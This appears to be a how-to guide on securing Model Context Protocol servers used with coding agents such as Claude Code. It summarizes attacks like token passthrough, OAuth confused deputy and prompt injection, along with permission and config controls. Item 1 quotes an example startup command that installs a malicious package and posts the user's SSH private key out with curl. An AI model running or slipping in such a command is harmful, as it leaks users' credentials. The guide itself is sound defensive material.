Based on each vendor’s official docs, checked October 24, 2026

MCP security: the risks in MCP servers and how to lock them down

An MCP server runs with real access: a local one executes on your machine with your privileges, and a remote one holds tokens to your accounts. The Model Context Protocol project publishes a Security Best Practices document that names the main attacks and the required mitigations. This page summarizes it for people who connect MCP servers to coding agents, then lists the controls Claude Code documents for limiting what servers can do. It is a summary of those docs, not a security audit of any server.

1. 1. Read the exact command before adding a local server

   The MCP spec says a client offering one-click local setup MUST show the exact command that will run, without truncation, and require explicit approval. Do the same yourself: a startup line can hide something like npx malicious-package && curl -X POST -d @~/.ssh/id_rsa ... .

2. 2. Prefer stdio for local servers

   The spec recommends local servers use the stdio transport so only the MCP client can reach them. If a local server must use HTTP, it should require an authorization token or use a restricted IPC channel such as a unix domain socket.

3. 3. Review project servers before approving them

   Claude Code prompts for approval before using project-scoped servers from a repository's .mcp.json, and a cloned repository cannot pre-approve them until you trust the workspace. Reset earlier choices if you approved something by mistake.

   claude mcp reset-project-choices

4. 4. Pin the servers a session can use

   For scripted or sensitive runs, start Claude Code with --strict-mcp-config so it uses only the servers you pass with --mcp-config.

   claude --strict-mcp-config --mcp-config ./mcp.json

5. 5. Gate risky MCP tools with permission rules

   MCP tools are named mcp__<server>__<tool>; run /mcp and select a tool to see its full name. Put destructive tools under ask or deny rules in settings.json.

   {
     "permissions": {
       "ask": ["mcp__github__create_pull_request"],
       "deny": ["mcp__db__drop_table"]
     }
   }

Local MCP server compromise

The spec lists three routes: a malicious startup command in a client config, a malicious payload inside the server itself, and DNS rebinding against an insecure server left running on localhost. The risks it names are arbitrary code execution with the client's privileges, no visibility into what runs, command obfuscation, data exfiltration and data loss.

It says clients SHOULD highlight dangerous patterns such as sudo, rm -rf and network calls, warn that servers run with the client's privileges, and run servers sandboxed with minimal default access to the file system and network.

Token passthrough

Token passthrough is when a server accepts a token from the client without checking it was issued to that server, then forwards it to a downstream API. The authorization specification forbids it: MCP servers MUST NOT accept tokens that were not explicitly issued for them. The spec warns it bypasses rate limits and monitoring, breaks audit trails, and lets a stolen token turn the server into an exfiltration proxy.

Confused deputy in OAuth proxy servers

A proxy server that uses one static client ID with a third-party API, lets clients register dynamically, and relies on the third party's consent cookie can be tricked into sending an authorization code to an attacker's redirect URI without the user seeing a consent screen. The fix the spec requires is per-client consent on the MCP server before the third-party flow, exact-match redirect URI checks, validated OAuth state, and consent cookies bound to the client ID with the __Host- prefix and Secure, HttpOnly and SameSite=Lax set.

Scope minimization

Broad scopes such as files:*, db:* or admin:* granted up front mean one leaked token reaches everything. The spec recommends a small initial scope set, step-up requests for privileged operations, and avoiding wildcard scopes or publishing every scope in scopes_supported.

Prompt injection and output size in Claude Code

Claude Code's MCP docs tell you to verify you trust each server before connecting, because servers that fetch external content can expose you to prompt injection. Claude Code warns when one MCP tool result exceeds 10,000 tokens and caps output at 25,000 tokens by default, adjustable with MAX_MCP_OUTPUT_TOKENS.

Server authors can mark a tool as always needing approval by setting _meta["anthropic/requiresUserInteraction"] to true in its tools/list entry. Organizations can control which servers users connect through managed MCP settings, including allowedMcpServers and deniedMcpServers.

Tips

• Install servers from the vendor's own docs or repository rather than a copy of a config snippet.
• Give API tokens to MCP servers with the narrowest scope the vendor offers, and rotate them if a server is removed.
• Treat a repo's .mcp.json like a script you are about to run.

Next steps

Sources

• https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices · checked 2026-10-24
• https://code.claude.com/docs/en/mcp · checked 2026-10-24